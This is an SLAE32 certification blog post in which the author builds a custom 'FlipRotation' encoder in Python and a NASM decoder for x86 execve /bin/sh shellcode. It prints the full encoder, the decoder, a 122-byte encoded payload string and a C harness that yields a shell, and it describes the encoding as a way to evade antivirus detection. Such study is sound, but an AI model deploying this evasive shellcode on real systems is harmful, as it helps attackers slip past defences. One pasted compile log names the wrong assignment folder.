SLAE32

This post introduces the forth mission to my SLAE32 journey.

A really really handful and challenging assignment. It was hard but worth it. Thus, I named my custom encoder/decoder shellcode as FlipRotation Shellcode

Introduction

The forth assignment goal was to create my own custom encoder and decoder of the execve stack shellcode. AS ou may know, the purpose is to execute /bin/sh   A shellcode encoder can be used for different purposes mainly make it harder to detect by AV engines or simply avoid bad characters (such as null-bytes).

FlipRotation Algorithm Overview

The inspiration for this algorithm was the known CBC bit-flipping attack but appliyng a simple variation to our context.

More specifically, the steps are

  1. We pick each shelcode byte and flip the last bit using a xor operation - flipped_shellbyte = shellbyte ^ 0x01
  2. Based on that output the rotation direction is defined. We rotate right if odd or left if even. The number of rotation positions is defined by the loop index value (number of interations) of the loop at that time.
  3. If we rotate right we append 0x2 afther the encoded byte and if we rotate left we append 0xff
  4. Put the byte 0xa0 as the shellcode end marker

The follwoing diagram can help to understand better this process.

FlipRotation

Regarding decoding, it is just simply reverting the steps and we have our original shellcode back.

From my experience developing the decoder in assembly was much simpler than implementing the encoder login in Python.

Encoder

The FlipRotation encoder was developed in Python language. The Encoder class supports various encoding modes but we will focused only in insertion mode.

FlipRotation Encoder

#!/usr/bin/python3
#
# The FlipRotation Shellcode encoder
#
# Rotates back and flips the lowest bit of each byte.
#

import argparse
import secrets
import logging
import sys

secretsGenerator = secrets.SystemRandom()

c_style_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # bin/sh

def banner():

    print('''
        
        _______________________________________________________________
         <The "FlipRotation" Encoder - Bit flip and rotate your shellcode
        ---------------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\\
                    ||----w |
                    ||     ||       
        
         ''')

#----------------------------


def bin2hex(binstr):
    return hex(int(binstr,2))

class Encoder:

    def randomKeyGenerator(self):
        byte = '0x'
        for i in range(2):
            hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
            nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
            byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
        return int(byte,16) # convert key to bytes and return


    def __init__(self,enc_type, key=None):
        if enc_type != "not":
            
            if key is not None:
                self.key = key
                print("[*] Key Provided by the user. Doing magic with it")
            else:
                self.key = self.randomKeyGenerator()
                print("[*] Doing magic with a (pseudo) Random key")
            print("[*] Key: "+hex(self.key))
 
    # Function to left
    # rotate n by d bits
    def leftRotate(self,shellbits, d):
        tmp = shellbits[d:] + shellbits[0:d]
        return tmp
    
    # Function to right
    # rotate n by d bits
    def rightRotate(self, shellbits, d):
        return self.leftRotate(shellbits, len(shellbits) - d)
        
    def insertion_encode(self, shellcode):

        encoded = '' # 0x format
        encoded2 = '' # \x format
        rotation_direction = ''
        
        rotation_counter = 0
        for shellbyte in shellcode:
            
            flipped_shellbyte = shellbyte ^ 0x01    # flip lowest bit
            
            if bin(flipped_shellbyte)[-1] == '0':
                logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
                rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
                rotation_direction = '0x02' 
            else:
                logging.info("Flipped byte - even - "+str(flipped_shellbyte))
                rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 )  # 8 because we are rotating with 8 bits
                print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
                rotation_direction = '0xff'
            
            final_shellbyte =  bin2hex(rotated_shellbyte)
            
            rotation_counter += 1

            encoded += final_shellbyte + ',' + rotation_direction +','  # \x format

            encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format

        print("\n[*] \\x format: ")
        encoded2 += '\\x' + hex(self.key)[2:]   # add marker
        print(encoded2)
            
        print("\n[*] 0x format: ")
        encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
        print(encoded)



def main():
   
    shellcode = bytearray(c_style_shellcode)
    print("[*] Shellcode length: "+str(len(shellcode))+"\n")
    print("[*] Shellcode: "+str(c_style_shellcode)+"\n")

    # -------------------KEY-------------- 
    key = 0xa0  # can't be 0x02 or 0xff. used for rotation direction
    #####################################

    # -------------Encode Type-----------
    enc_type = "insertion"
    #####################################
    
    if enc_type == "not":

        encoder = Encoder(enc_type)
        encoder.complement_encoding(shellcode)

    elif enc_type == "xor":
    
        encoder = Encoder(enc_type, key)
        encoder.xor_encoding_backslashX(shellcode)# utf-8 encoding (\x4b,\xe4,...)
        encoder.xor_encoding_0x(shellcode) # hex format (0x4b, 0xe4,...)
    
    elif enc_type == "insertion":
        encoder = Encoder(enc_type, key)    # providing a key with insertion encoding type
        encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument
           
    else:
        print("[*] Encode type not supported. Please check the supported algorithms in the help menu")

if __name__ == '__main__':

    banner() # displays the program banner
    main()
    print("\n--------------------")
    print("[*] Hack the World!")
    print("--------------------")
    print()
    print()

The Encoder class is is able to generate a pseudorandom key or use one provided by the user.

def randomKeyGenerator(self):
        byte = '0x'
        for i in range(2):
            hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
            nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
            #print("nibble----"+hex(nibble)[2:])
            byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
        #print(byte)
        #chr(int(byte,16)) # converts from base 16 to integer (decimal) and then to ascii (chr func) 
        #print(int(byte,16))
        return int(byte,16) # convert key to bytes and return


def __init__(self,enc_type, key=None):
    if enc_type != "not":
        
        if key is not None:
            self.key = key
            print("[*] Key Provided by the user. Doing magic with it")
        else:
            self.key = self.randomKeyGenerator()
            print("[*] Doing magic with a (pseudo) Random key")
        print("[*] Key: "+hex(self.key))

Then, we can call the function insertion_encode and provide the target shellcode as argument.

encoder = Encoder(enc_type, key)    # providing a key with insertion encoding type
encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument

The insertion_encode function is defined as follows:

def insertion_encode(self, shellcode):

        encoded = '' # 0x format
        encoded2 = '' # \x format
        rotation_direction = ''
        
        rotation_counter = 0
        for shellbyte in shellcode:
            
            flipped_shellbyte = shellbyte ^ 0x01    # flip lowest bit
            
            if bin(flipped_shellbyte)[-1] == '0':
                logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
                rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
                rotation_direction = '0x02' 
            else:
                logging.info("Flipped byte - even - "+str(flipped_shellbyte))
                rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 )  # 8 because we are rotating with 8 bits
                print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
                rotation_direction = '0xff'
            
            final_shellbyte =  bin2hex(rotated_shellbyte)
            
            rotation_counter += 1

            encoded += final_shellbyte + ',' + rotation_direction +','  # \x format

            encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format

        print("\n[*] \\x format: ")
        encoded2 += '\\x' + hex(self.key)[2:]   # add marker
        print(encoded2)
            
        print("\n[*] 0x format: ")
        encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
        print(encoded)

We started by interating each shellcode byte and flipping the least significant bit - flipped_shellbyte

After that, checking that same bit for parity. if it is 1 is odd but if is 0 is even. An odd number will rotate right and an even rotate left. Before proceeeding to the rotation we convert the byte to binary in order to have a more robust rotation. The rotation_counter is used as a reference for the number of rotated bits.

Also as each byte has 8 bits in size, the rotation is performed according to a circular shift methodology by using the modulus % operator. Using the remainder we stick to rotate only a maximum of 7 bits each time.

After performing the rotation and convert the binary number to hexadecimal the encoding is completed - final_shellbyte. We can append it to the variables where the shellcode is being stored encoded and encoded2 followed by the rotation_direction (0x02 or 0xfff).

if bin(flipped_shellbyte)[-1] == '0':
    logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
    rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
    rotation_direction = '0x02' 
else:
    logging.info("Flipped byte - even - "+str(flipped_shellbyte))
    rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 )  # 8 because we are rotating with 8 bits
    print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
    rotation_direction = '0xff'

final_shellbyte =  bin2hex(rotated_shellbyte)
rotation_counter += 1

encoded += final_shellbyte + ',' + rotation_direction +','  # \x format

encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format

The last part, we add the end marker at the end for each shellcode format

print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:]   # add marker
print(encoded2)
    
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)

Encoder Output

╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●› 
╰─$ python3 flipRotation_Encoder.py 

        
        _______________________________________________________________
         <The "FlipRotation" Encoder - Bit flip and rotate your shellcode
        ---------------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||       
        
         
[*] Shellcode length: 25

[*] Shellcode: b'1\xc0Ph//shh/bin\x89\xe3P\x89\xe2S\x89\xe1\xb0\x0b\xcd\x80'

[*] Key Provided by the user. Doing magic with it
[*] Key: 0xa0
After rotation: 0x83
After rotation: 0x45
After rotation: 0x4b
After rotation: 0xb4
After rotation: 0x69
After rotation: 0x8d
After rotation: 0xf6
After rotation: 0xa8
After rotation: 0xc7
After rotation: 0x36
After rotation: 0x81

[*] \x format: 
\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\xd\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\xe\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0

[*] 0x format: 
0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0

--------------------
[*] Hack the World!
--------------------

We have the encoded shellcode already with rotatio direction for each byte and the end marker.

Decoder

I said before that it was simpler than the encoder but it was not easy at all. I needed to use a piece of paper and a pencil to develop the logic to decode the payload in assembly.

Let’s dig into the assembly

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 4 : Custom Encoder/Decoder Shellcode (Linux/x86) Assembly - FlipRotation Encoder
; File Name    : flipRotation_decoder.nasm

global _start

section .text
_start:

	jmp short call_decoder

decoder:

	pop esi
	lea edi, [esi+1]	; pointing to second byte (0x02) from shellcode
	xor eax, eax        ; keep track parity byte
	cdq					; zeroes edx. 
	mov al,	1 
	xor ecx, ecx
	xor ebx, ebx
	

decode:
	mov bl, byte [esi + eax]	; mov parity byte to bl
	xor bl, 0xa0				; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
	jz short EncodedShellcode	; reached the marker if Zero Flag not set

	xor bl, 0x5f	; if equal, parity is even (0xff)
	mov bl, byte [esi + edx] 
	jnz odd

even:	; rotate right

	ror bl, cl
	jmp short bitFlip

odd: 	; rotate left

	rol bl, cl

bitFlip:

	xor bl, 0x01

restore_next_byte:

	mov byte [esi + edx], bl	; replaces the original byte
	mov bl, byte [esi + eax + 1] ; mov next shellbyte
	mov byte [edi], bl
	inc edi
	add al, 2
	inc dl
	inc cl ; = 0x2b  F - 00101011

	; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register). 

	cmp cl, 0x08	; if equal ZF will be set meaning we have a complete rotation
	jnz decode	; $+2 ; jump if rotation is not complete
	xor ecx, ecx	; if rotation is complete reset, cl to start again the "circular array"

	jmp short decode

call_decoder:

	call decoder
	EncodedShellcode: db 0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0 	; 0xa0 is the stop marker
Divide and Conquer the FlipRotation Decoder

This decoder use the jmp-call-pop technique to push the address of the encoded shellcode on the stack and redirect control flow to decoder branch. Then, the address is stored in esi

We use eax to keep track the each parity byte and edx to control the offset from the beginning of the shellcode.

decoder:

	pop esi
	lea edi, [esi+1]	; pointing to second byte (0x02) from shellcode
	xor eax, eax        ; keep track parity byte
	cdq					; zeroes edx. 
	mov al,	1           ; first parity byte
	xor ecx, ecx        ; loop index and number of rotation bits
	xor ebx, ebx

After this, we have our decoder branch which has the logic to decode the encoded shellcode. It start by moving the parity byte and checking with xor bl, 0xa0 if matches the end marker. If yes, it means the shellcode is alrady decoded and redirects execution flow to its first instruction.

The result of this xor operation using the parity byte will be used below with the operation xor bl, 0x5f to verify if associated shellcode byte is odd or even.

We know because if we have a even shellcode byte, its parity is 0xff and results in 0xa0 ^ 0xff = 0x5f which si stored in bl. Then doing xor bl, 0x5f will set ZF (zero flag) to 1. Based on the zero flag value, we know if the shellcode byte is even or odd.

decode:
	mov bl, byte [esi + eax]	; mov parity byte to bl
	xor bl, 0xa0				; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
	jz short EncodedShellcode	; reached the marker if Zero Flag not set

	xor bl, 0x5f	; if equal, parity is even (0xff) and sets ZF
	mov bl, byte [esi + edx] 
	jnz odd

The next couple of isntruction are straighforward. We just to rotate in the oposite way that was performed by the encoder according to the byte parity and bit flipping the least significant bit.

even:	; rotate right
	ror bl, cl
	jmp short bitFlip

odd: 	; rotate left
	rol bl, cl

bitFlip:
	xor bl, 0x01

At this stage, the tricky is already done. We just to replace the encoded shellcode byte for the original one using edx as offset. Then, we move to bl the next encoded byte.

We cant forget to remove the last used parity byte from the encoded shellcode. In the decode branch we set up edi to point the address of the first parity byte. To remove this byte, we can make the next encoded shellcode byte to take its place. In practical terms, we copy the next encoded byte to the address of the last parity byte with the instruction mov byte [edi], bl

Then, we prepare he next iteration by:

  • pointing edi to the position of next parity byte
  • al poiting to the next parity byte offset
  • dl poiting to the next encoded byte
  • incrementing cl which is used as the loop index value

The last part, we check if we reach the end of the circular array. As we are rotating 8 bits, we can’t rotate no more than that. this way we aresynchronized with the encoder implementation.

restore_next_byte:

	mov byte [esi + edx], bl		; replaces the original byte
	mov bl, byte [esi + eax + 1] 	; mov next encoded byte
	mov byte [edi], bl				; change last used parity byte for the next encoded byte
	inc edi							; edi points to position of the next parity byte
	add al, 2						; offset added to next parity byte
	inc dl							; offset to the next encoded byte
	inc cl 							; loop index value incremented

	; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register). 

	cmp cl, 0x08	; if equal ZF will be set meaning we have a complete rotation
	jnz decode		; jump if rotation is not complete
	xor ecx, ecx	; if rotation is complete, reset cl to start again the "circular array"

Compiling and Testing the FlipRotation Decoder

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ ../../assembler.sh egg_hunter.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 122

"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●› 
╰─$ ./shellcode                                                        
Shellcode Length: 122
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
core  flipRotation_Encoder.py  flipRotation_decoder  flipRotation_decoder.nasm  flipRotation_decoder.o  shellcode  shellcode.c
$ 

We get a shell!!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86